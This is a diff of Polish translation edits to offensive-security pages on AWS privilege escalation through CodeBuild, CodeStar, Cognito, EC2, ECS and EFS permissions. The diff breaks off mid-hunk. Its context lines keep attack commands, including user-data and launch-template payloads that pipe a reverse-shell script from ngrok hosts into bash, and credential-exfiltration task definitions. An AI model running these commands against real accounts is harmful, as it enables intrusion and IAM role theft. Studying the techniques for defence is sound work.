Uwaga: eskalacja jest istotna tylko wtedy, gdy pracownik CodeBuild ma inną rolę, miejmy nadzieję, że bardziej uprzywilejowaną, niż ta atakującego.
|
||||
Uwaga: eskalacja jest istotna tylko wtedy, gdy pracownik CodeBuild ma inną rolę, miejmy nadzieję, bardziej uprzywilejowaną, niż ta atakującego.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -320,7 +320,7 @@ commands:
|
||||
**Wpływ:** Bezpośrednie podniesienie uprawnień do roli używanej przez pracownika AWS CodeBuild, która zazwyczaj ma wysokie uprawnienia.
|
||||
|
||||
> [!WARNING]
|
||||
> Należy pamiętać, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać.
|
||||
> Należy zauważyć, że buildspec może być oczekiwany w formacie zip, więc atakujący musiałby pobrać, rozpakować, zmodyfikować `buildspec.yml` z katalogu głównego, ponownie spakować i przesłać.
|
||||
|
||||
Więcej szczegółów można znaleźć [tutaj](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
|
||||
+2
-2
@@ -18,7 +18,7 @@ Oprócz wcześniejszych uprawnień potrzebujesz **dostępu do miejsca, w którym
|
||||
|
||||
Testowałem to, wykonując proces na stronie internetowej, wcześniejsze wskazane uprawnienia to nie List/Get, które są potrzebne do stworzenia codepipeline, ale do stworzenia go w sieci będziesz również potrzebować: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
|
||||
|
||||
Podczas **tworzenia projektu build** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę build jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować:
|
||||
Podczas **tworzenia projektu budowy** możesz wskazać **komendę do uruchomienia** (rev shell?) i uruchomić fazę budowy jako **użytkownik z uprawnieniami**, to jest konfiguracja, której potrzebuje atakujący, aby skompromitować:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -26,7 +26,7 @@ Podczas **tworzenia projektu build** możesz wskazać **komendę do uruchomienia
|
||||
|
||||
### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
|
||||
|
||||
Może być możliwe modyfikowanie roli używanej i komendy wykonywanej w codepipeline z wcześniejszymi uprawnieniami.
|
||||
Możliwe, że można zmodyfikować rolę używaną i komendę wykonywaną w codepipeline z wcześniejszymi uprawnieniami.
|
||||
|
||||
### `codepipeline:pollforjobs`
|
||||
|
||||
|
||||
+9
-9
@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
|
||||
|
||||
### `iam:PassRole`, `codestar:CreateProject`
|
||||
|
||||
Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonywania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę:
|
||||
Dzięki tym uprawnieniom możesz **nadużyć roli IAM codestar** do wykonania **dowolnych działań** za pomocą **szablonu cloudformation**. Sprawdź następującą stronę:
|
||||
|
||||
{{#ref}}
|
||||
iam-passrole-codestar-createproject.md
|
||||
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
|
||||
|
||||
### `codestar:CreateProject`, `codestar:AssociateTeamMember`
|
||||
|
||||
Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember`, aby uczynić użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**.
|
||||
Ta technika wykorzystuje `codestar:CreateProject` do stworzenia projektu codestar oraz `codestar:AssociateTeamMember` do uczynienia użytkownika IAM **właścicielem** nowego projektu CodeStar, co przyzna im **nową politykę z kilkoma dodatkowymi uprawnieniami**.
|
||||
```bash
|
||||
PROJECT_NAME="supercodestar"
|
||||
|
||||
@@ -39,7 +39,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
|
||||
--project-role "Owner" \
|
||||
--remote-access-allowed
|
||||
```
|
||||
Jeśli jesteś już **członkiem projektu**, możesz użyć uprawnienia **`codestar:UpdateTeamMember`**, aby **zaktualizować swoją rolę** na właściciela zamiast `codestar:AssociateTeamMember`.
|
||||
Jeśli jesteś już **członkiem projektu**, możesz użyć uprawnienia **`codestar:UpdateTeamMember`** do **aktualizacji swojej roli** na właściciela zamiast `codestar:AssociateTeamMember`.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do polityki codestar. Przykład tej polityki można znaleźć w:
|
||||
|
||||
@@ -50,17 +50,17 @@ codestar-createproject-codestar-associateteammember.md
|
||||
### `codestar:CreateProjectFromTemplate`
|
||||
|
||||
1. **Utwórz nowy projekt:**
|
||||
- Wykorzystaj akcję **`codestar:CreateProjectFromTemplate`**, aby rozpocząć tworzenie nowego projektu.
|
||||
- Wykorzystaj akcję **`codestar:CreateProjectFromTemplate`** do rozpoczęcia tworzenia nowego projektu.
|
||||
- Po pomyślnym utworzeniu, dostęp jest automatycznie przyznawany dla **`cloudformation:UpdateStack`**.
|
||||
- Ten dostęp dotyczy konkretnej stosu powiązanej z rolą IAM `CodeStarWorker-<nazwa ogólna projektu>-CloudFormation`.
|
||||
- Ten dostęp dotyczy konkretnego stosu powiązanego z rolą IAM `CodeStarWorker-<nazwa ogólnego projektu>-CloudFormation`.
|
||||
2. **Zaktualizuj docelowy stos:**
|
||||
- Z przyznanymi uprawnieniami CloudFormation, przystąp do aktualizacji określonego stosu.
|
||||
- Posiadając przyznane uprawnienia CloudFormation, przystąp do aktualizacji określonego stosu.
|
||||
- Nazwa stosu zazwyczaj będzie odpowiadać jednemu z dwóch wzorców:
|
||||
- `awscodestar-<nazwa ogólna projektu>-infrastructure`
|
||||
- `awscodestar-<nazwa ogólna projektu>-lambda`
|
||||
- `awscodestar-<nazwa ogólnego projektu>-infrastructure`
|
||||
- `awscodestar-<nazwa ogólnego projektu>-lambda`
|
||||
- Dokładna nazwa zależy od wybranego szablonu (odnosząc się do przykładowego skryptu exploit).
|
||||
3. **Dostęp i uprawnienia:**
|
||||
- Po aktualizacji uzyskujesz możliwości przypisane do **roli IAM CloudFormation** powiązanej z tym stosem.
|
||||
- Po aktualizacji uzyskujesz możliwości przypisane do **roli IAM CloudFormation** powiązanej ze stosem.
|
||||
- Uwaga: To nie zapewnia z natury pełnych uprawnień administratora. Dodatkowe źle skonfigurowane zasoby w środowisku mogą być wymagane do dalszego podniesienia uprawnień.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
To jest utworzona polityka, do której użytkownik może uzyskać podwyższone uprawnienia (nazwa projektu to `supercodestar`):
|
||||
To jest utworzona polityka, do której użytkownik może uzyskać dostęp (nazwa projektu to `supercodestar`):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
|
||||
@@ -20,7 +20,7 @@ Aby uzyskać więcej informacji, [**sprawdź tę stronę**](../aws-unauthenticat
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
Dzięki temu uprawnieniu możesz **przyznać dowolną rolę cognito** uwierzytelnionym/nieuwierzytelnionym użytkownikom aplikacji cognito.
|
||||
Dzięki temu uprawnieniu możesz **przyznać dowolną rolę cognito** użytkownikom uwierzytelnionym/nieuwierzytelnionym aplikacji cognito.
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -38,7 +38,7 @@ Jeśli aplikacja cognito **nie ma włączonych użytkowników nieautoryzowanych*
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, w którym może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **logując się** na tym dostawcy użytkowników, **uzyska dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool**.
|
||||
Napastnik z tym uprawnieniem mógłby ustawić na przykład Cognito User Pool pod swoją kontrolą lub innego dostawcę tożsamości, gdzie może się zalogować jako **sposób na uzyskanie dostępu do tego Cognito Identity Pool**. Następnie, po prostu **zalogowanie** się na tym dostawcy użytkowników **pozwoli mu uzyskać dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool**.
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
@@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> -
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może się zalogować do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia.
|
||||
To uprawnienie pozwala na **potwierdzenie rejestracji**. Domyślnie każdy może zalogować się do aplikacji Cognito, jeśli to zostanie pozostawione, użytkownik mógłby utworzyć konto z dowolnymi danymi i potwierdzić je za pomocą tego uprawnienia.
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
@@ -166,7 +166,7 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
```
|
||||
**UpdateUserPool:** Możliwe jest również zaktualizowanie puli użytkowników, aby zmienić politykę MFA. [Sprawdź cli tutaj](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potencjalny wpływ:** Pośrednie privesc do potencjalnie każdego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA.
|
||||
**Potencjalny wpływ:** Pośrednie privesc do potencjalnie dowolnego użytkownika, którego atakujący zna dane uwierzytelniające, co może pozwolić na ominięcie ochrony MFA.
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
@@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool o mniej restrykcyjnych** uprawnieniach niż już istniejące klienty pool. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów...
|
||||
Napastnik z tym uprawnieniem mógłby **utworzyć nowego klienta User Pool mniej restrykcyjnego** niż już istniejące klienty puli. Na przykład, nowy klient mógłby pozwalać na wszelkiego rodzaju metody uwierzytelniania, nie mieć żadnego sekretu, mieć wyłączoną revokację tokenów, pozwalać na dłuższy okres ważności tokenów...
|
||||
|
||||
To samo można zrobić, jeśli zamiast tworzenia nowego klienta, **zmodyfikowany jest istniejący**.
|
||||
|
||||
W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) można zobaczyć wszystkie opcje, sprawdź to!
|
||||
W [**wierszu poleceń**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (lub [**aktualizacji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) możesz zobaczyć wszystkie opcje, sprawdź to!
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
@@ -236,10 +236,10 @@ aws cognito-idp create-identity-provider \
|
||||
|
||||
To bardzo powszechne uprawnienie domyślnie w rolach Cognito Identity Pools. Nawet jeśli użycie znaku wieloznacznego w uprawnieniach zawsze wygląda źle (szczególnie w przypadku AWS), **przyznane uprawnienia nie są super przydatne z perspektywy atakującego**.
|
||||
|
||||
To uprawnienie pozwala na odczyt informacji o użytkownikach z Identity Pools i Identity IDs wewnątrz Identity Pools (co nie jest informacją wrażliwą).\
|
||||
Identity IDs mogą mieć przypisane [**Zestawy danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może być możliwe, że zawierają one jakiś rodzaj informacji wrażliwych (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji.
|
||||
To uprawnienie pozwala na odczyt informacji o użytkownikach z Puli Tożsamości i identyfikatorów tożsamości w Puli Tożsamości (co nie jest informacją wrażliwą).\
|
||||
Identyfikatory tożsamości mogą mieć przypisane [**Zbiory Danych**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), które są informacjami o sesjach (AWS definiuje to jako **zapisana gra**). Może być możliwe, że zawierają one jakiś rodzaj wrażliwych informacji (ale prawdopodobieństwo jest dość niskie). Możesz znaleźć na [**stronie enumeracji**](../aws-services/aws-cognito-enum/) jak uzyskać dostęp do tych informacji.
|
||||
|
||||
Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zestawach danych lub **lambda, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się tutaj informacji wrażliwych, ale nie jest to niemożliwe.
|
||||
Atakujący mógłby również wykorzystać te uprawnienia do **zapisania się do strumienia Cognito, który publikuje zmiany** w tych zbiorach danych lub **lambdy, która wyzwala się na zdarzenia cognito**. Nie widziałem, aby to było używane, i nie spodziewałbym się tutaj wrażliwych informacji, ale nie jest to niemożliwe.
|
||||
|
||||
### Narzędzia automatyczne
|
||||
|
||||
@@ -249,7 +249,7 @@ Aby uzyskać opis funkcji modułów, zobacz część 2 [postu na blogu](https://
|
||||
|
||||
#### Użycie
|
||||
|
||||
Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i klientowi puli użytkowników:
|
||||
Przykład użycia cognito\_\_attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
|
||||
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji na temat dynamodb, sprawdź:
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) oraz **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**:
|
||||
Z tego, co wiem, **nie ma bezpośredniego sposobu na eskalację uprawnień w AWS tylko poprzez posiadanie pewnych uprawnień do `dynamodb`**. Możesz **czytać wrażliwe** informacje z tabel (które mogą zawierać dane uwierzytelniające AWS) i **zapisywać informacje w tabelach** (co może wywołać inne podatności, takie jak wstrzykiwanie kodu lambda...), ale wszystkie te opcje są już uwzględnione na **stronie Post Exploitation DynamoDB**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
|
||||
@@ -20,7 +20,7 @@ Narzędzie [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-
|
||||
|
||||
### **`ec2:CreateSnapshot`**
|
||||
|
||||
Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, oraz **eksportując plik NTDS.dit i SYSTEM** rejestru do użycia z projektem secretsdump Impacket.
|
||||
Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hasze wszystkich użytkowników domeny, tworząc **migawkę kontrolera domeny**, montując ją do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz SYSTEM** rejestru do użycia z projektem secretsdump Impacket.
|
||||
|
||||
Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu migawki.
|
||||
|
||||
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Dostęp przez rev shell w danych użytkownika**
|
||||
|
||||
Możesz uruchomić nową instancję używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń.
|
||||
Możesz uruchomić nową instancję, używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -65,7 +65,7 @@ Aby dowiedzieć się, jak **wymusić uruchomienie usług ECS** na tej nowej inst
|
||||
aws-ecs-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienia `ecs:RegisterContainerInstance`, możesz być w stanie zarejestrować instancję w klastrze i przeprowadzić skomentowany atak.
|
||||
Jeśli **nie możesz utworzyć nowej instancji**, ale masz uprawnienia `ecs:RegisterContainerInstance`, możesz zarejestrować instancję w klastrze i przeprowadzić skomentowany atak.
|
||||
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do ról ECS przypisanych do zadań.
|
||||
|
||||
@@ -86,7 +86,7 @@ Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, is
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub określony status profilu instancji).
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
@@ -164,7 +164,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Napastnik z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem w** **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
|
||||
Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -182,7 +182,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
|
||||
Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchomienia** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym podniesieniem uprawnień).
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem podnoszenia uprawnień).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
@@ -233,7 +233,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę użytkownika i hasło, aby go wykorzystać.
|
||||
|
||||
**Potencjalny wpływ:** (Bardzo trudny do udowodnienia) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji.
|
||||
**Potencjalny wpływ:** (Bardzo nieudowodniony) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
@@ -256,7 +256,7 @@ Zakładając, że znajdziemy `aws_access_key_id` i `aws_secret_access_key`, moż
|
||||
|
||||
**Potencjalny wpływ:** Bezpośrednia eskalacja uprawnień do użytkownika IAM.
|
||||
|
||||
## References
|
||||
## Odniesienia
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ Aby uzyskać więcej informacji na temat pobierania obrazów:
|
||||
|
||||
Atakujący z wszystkimi tymi uprawnieniami **może zalogować się do ECR i przesłać obrazy**. Może to być przydatne do podniesienia uprawnień w innych środowiskach, w których te obrazy są używane.
|
||||
|
||||
Aby dowiedzieć się, jak przesłać nowy obraz/zaktualizować istniejący, sprawdź:
|
||||
Aby dowiedzieć się, jak przesłać nowy obraz/aktualizować istniejący, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
|
||||
@@ -12,7 +12,7 @@ Więcej **informacji o ECS** w:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Atakujący nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.
|
||||
Napastnik nadużywający uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który kradnie dane uwierzytelniające metadanych i **uruchomić go**.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -97,7 +97,7 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ten scenariusz jest podobny do poprzednich, ale **bez** uprawnienia **`iam:PassRole`**.\
|
||||
To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli jest to bez roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę EC2 IAM** oraz **inne role kontenerów ECS** działających na węźle.\
|
||||
To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli nie ma roli, możesz **uruchomić kontener z uprawnieniami, aby uciec** do węzła i **ukraść rolę IAM EC2** oraz **inne role kontenerów ECS** działających na węźle.\
|
||||
Możesz nawet **zmusić inne zadania do uruchomienia wewnątrz instancji EC2**, którą przejmujesz, aby ukraść ich dane uwierzytelniające (jak omówiono w [**sekcji Privesc do węzła**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
@@ -145,7 +145,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Atakujący z **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** może **wykonywać polecenia** wewnątrz działającego kontenera i wyeksportować przypisaną do niego rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia `aws ecs execute-command`).\
|
||||
Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **agenta ExecuteCommand** (który domyślnie nie jest uruchomiony).
|
||||
Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego **agenta ExecuteCommand** (co domyślnie nie jest ustawione).
|
||||
|
||||
Dlatego atakujący może spróbować:
|
||||
|
||||
|
||||
@@ -64,7 +64,7 @@ Dodatkowe uprawnienia `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:
|
||||
|
||||
### `elasticfilesystem:CreateMountTarget`
|
||||
|
||||
Jeśli atakujący znajduje się w **podsieci**, w której **nie istnieje punkt montażowy** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem:
|
||||
Jeśli atakujący znajduje się w **podsieci**, w której **nie ma punktu montowania** EFS, może po prostu **utworzyć jeden w swojej podsieci** z tym uprawnieniem:
|
||||
```bash
|
||||
# You need to indicate security groups that will grant the user access to port 2049
|
||||
aws efs create-mount-target --file-system-id <fs-id> \
|
||||
@@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id <fs-id> \
|
||||
|
||||
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
|
||||
|
||||
W scenariuszu, w którym atakujący odkryje, że EFS ma punkt montażowy w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, może po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**:
|
||||
W scenariuszu, w którym atakujący odkryje, że EFS ma punkt montażowy w jego podsieci, ale **żaden z grup zabezpieczeń nie zezwala na ruch**, mógłby po prostu **zmienić to, modyfikując wybrane grupy zabezpieczeń**:
|
||||
```bash
|
||||
aws efs modify-mount-target-security-groups \
|
||||
--mount-target-id <value> \
|
||||
|
||||
+3
-3
@@ -32,7 +32,7 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name"
|
||||
```
|
||||
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` i inne...
|
||||
|
||||
Wymienione oraz kilka **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** uprawnień są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.
|
||||
Wymienione oraz kilka uprawnień **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.
|
||||
|
||||
- Utwórz aplikację AWS Elastic Beanstalk:
|
||||
```bash
|
||||
@@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
|
||||
```
|
||||
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
|
||||
|
||||
